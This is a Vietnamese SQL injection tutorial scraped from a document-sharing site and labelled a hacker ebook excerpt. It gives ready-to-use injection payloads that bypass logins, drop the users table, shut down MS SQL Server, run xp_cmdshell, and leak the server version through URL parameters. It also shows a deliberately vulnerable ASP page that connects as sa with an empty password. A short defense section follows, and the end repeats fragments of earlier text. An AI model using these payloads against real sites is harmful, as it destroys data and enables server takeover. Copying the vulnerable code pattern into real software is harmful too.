Hacker Professional Ebook part 220 docx

6 72 0
Hacker Professional Ebook part 220 docx

Đang tải... (xem toàn văn)

Thông tin tài liệu

người dùng vô danh (ở đây là chúng ta đang thử khai thác lỗi SQL Injection) là tên của 1 Field và tên của Table mà chúng ta đang muốn xâm nhập , field "users.userName" . Sử dụng tên có được này chúng ta dùng cú pháp LIKE : Username: ' or users.userName like 'a%' Password: [Anything] và câu SQL trở thành CODE select userName from users where userName='' or users.userName like 'a%' ' and userPass='' Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin Logged In As admin Ví dụ 2: Ngôn ngữ SQL qui định dấu ';' là kết thúc 1 câu query và sau dấu ';' là một câu query mới. Ví dụ như select 1; select 1+2; select 1+3; sẽ thực hiện cả 3 câu query. Lợi dụng điều này , ta hãy làm như sau: Username: ' or 1=1; drop table users; Password: [Anything] Và phù, toàn bộ dữ liệu về users của website biến mất. Ví dụ 3: Trong ví dụ này tôi sẽ cho bạn thấy việc khai thác sự tiện lợi của TSQL có thể làm biến mất Database hoặc thậm chí shutdown luôn IIS. Chúng ta sẽ xem xét 1 số lệnh đặc biệt của Ms.SQL và phần "stored procedures". Đa số website khi kết nối với Database thường sử dụng account sa(default system account) để kết nối từ ASP đến Ms.SQL. Mặc định , account sa có toàn quyền , bao gồm delete, rename, và thêm vào database, table , triggers Nào bây giờ chúng ta hãy nhập vào: Username: '; shutdown with nowait; Password: [Anything] Một trong những lệnh "nguy hiểm" nhất của Ms.SQL là SHUTDOWN WITH NOWAIT . Khi nhận lệnh này , toàn bộ server Ms.SQL ngừng hoạt động hoàn toàn và chỉ restart và làm việc lại khi được ra lệnh bằng tay từ trình SQL service manager , hoặc tab Services của Windows. Và khi bạn nhập vào như trên , câu SQL trở thành CODE select userName from users where userName=''; shutdown with nowait; ' and userPass='' Nếu website sử dụng account sa và bị khai thác lỗi như trên , nó sẽ dừng hoàn toàn phần Database từ 1giây cho đến vài ngày , dừng đến khi nào có người phát hiện ra là nó đã bị dừng và khởi động nó lại bằng tay. SQL Server cũng có sẵn (Includes) một vài thủ tục (stored procedures) được viết bằng C++ DLL. Những thủ tục này được dùng để vận hành SQL Server một cách dễ dàng như đọc thư mục , registry , xóa files, chạy 1 dòng lệnh command Toàn bộ stored procedures thường bắt đầu bằng "xp_". Có 1 vài stored procedures có thể gây nguy hiểm cho server. Hãy xem xét , giả sử IIS chạy cùng server với SQL server và chúng ta nhập vào: Username: '; exec master xp_cmdshell 'iisreset'; Password: [Anything] Câu lệnh SQL trở thành CODE select userName from users where userName=''; exec master xp_cmdshell 'iisreset'; ' and userPass='' Ngạc nhiên chưa ? Sau khi SQL Server biến mất thì bây giờ toàn bộ website biến mất !!! Ví dụ 4: Bây giờ, chúng ta sẽ chuyển qua 1 thứ mà chúng ta thường gặp hơn. Thông thường khi vào những website thương mại , bạn thường thấy URL có dạng như sau: www.mysite.com/products.asp?productId=2 Trong đó, ID = 2 là mã hàng hoá và câu lệnh để lấy thông tin về hàng hoá là CODE Select prodName from products where id = 2 Và chúng ta hãy tạo 1 files có nhiệm vụ đưa ra thông tin hàng hoá là products.asp như sau CODE <% dim prodId prodId = Request.QueryString("productId") set conn = server.createObject("ADODB.Connection") set rs = server.createObject("ADODB.Recordset") query = "select prodName from products where id = " & prodId conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password=" rs.activeConnection = conn rs.open query if not rs.eof then response.write "Got product " & rs.fields("prodName").value else response.write "No product found" end if %> Sau đó chúng ta nhập vào dòng URL của Browser http://www.mysite.com/products.asp?productId=0%20having%201=1 Ngay lập tức, trình duyệt sẽ báo lỗi như sau Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'products.prodName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /products.asp, line 13 Cũng như ví dụ trên, 2 thông tin mà chúng ta khai thác được là Table products và Field prodName . Tiếp theo , với những thông tin đã biết được , ta tiếp tục đánh vào http://www.mysite.com/products.asp?productId=0;insert%20into%20products (prodName)%20values(left(@@version,50)) Câu URL trên đã chạy lệnh INSERT và thêm vào 1 row mới trong database, tại field prodName là 50 chữ cái thông tin về phiên bản Ms.SQL đang chạy tại server (Do biến @@version tạo ra). Vấn đề còn lại là lấy field đó ra trở lại http://www.mysite.com/products.asp?productId=(select%20max(id) %20from%20products) Max(id) để bảo đảm lấy được hàng cuối cùng chứa thông tin mà chúng ta vừa thêm vào. Hãy xem bạn đã lấy được gì Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Đây là 1 thông tin vô cùng quí giá, nó cho phép Hackers tiếp theo lợi dụng những lổ hổng Security Bugs từ phiên bản này để tiếp tục tấn công và chiếm toàn quyền điều khiển server. Hvaonline.net SQL Injection part 4 Phòng tránh SQL Injection như thế nào ? Hãy suy nghĩ như 1 hackers và thiết kế website của bạn với sự thận trọng tối đa. Như bạn đã thấy , những cách thức tấn công mà tôi ví dụ như trên không hề đòi hỏi 1 sự hiểu biết rộng về SQL mà đơn giản , hackers chỉ ứng dụng tốt những thứ cơ bản và lợi dụng vào sự chủ quan của bạn. Qui tắc số 1 trong thiết kế website có tương tác với người sử dụng là : ĐỪNG TIN NHỮNG GÌ USER ĐÁNH VÀO Một số biện pháp an toàn mà tôi biết được như sau: * Giới hạn quyền user: Đừng bao giờ sử dụng Default system account (sa) trong SQL server 2000 bởi vì account này có quá nhiều quyền hành. Bạn nên thiết kế 1 account để chỉ đáp ứng "đủ" những yêu cầu của website. Nếu bạn không sử dụng triggers, stored procedures, user-defined functions, hãy Remove tất cả. Một trong những thứ hay bị Hackers lợi dụng là xp_cmdshell , xp_grantlogin. Vì vậy , hãy mạnh tay remove tất cả những gì bạn không sử dụng và không chắc sẽ sử dụng. * Loại bỏ dấu nháy (Quotes) Như bạn đã thấy , một số cách Injection là lợi dụng sự sơ hở của dấu ' , bằng cách tạo ra 1 hàm loại bỏ dấu ' như sau: CODE <% function stripQuotes(strWords) stripQuotes = replace(strWords, "'", "''") end function %> Thì câu Injection từ CODE select count(*) from users where userName='john' and userPass='' or 1=1 ' . nó cho phép Hackers tiếp theo lợi dụng những lổ hổng Security Bugs từ phiên bản này để tiếp tục tấn công và chiếm toàn quyền điều khiển server. Hvaonline.net SQL Injection part 4 Phòng. 1 hackers và thiết kế website của bạn với sự thận trọng tối đa. Như bạn đã thấy , những cách thức tấn công mà tôi ví dụ như trên không hề đòi hỏi 1 sự hiểu biết rộng về SQL mà đơn giản , hackers. triggers, stored procedures, user-defined functions, hãy Remove tất cả. Một trong những thứ hay bị Hackers lợi dụng là xp_cmdshell , xp_grantlogin. Vì vậy , hãy mạnh tay remove tất cả những gì bạn

Ngày đăng: 04/07/2014, 12:20

Từ khóa liên quan

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan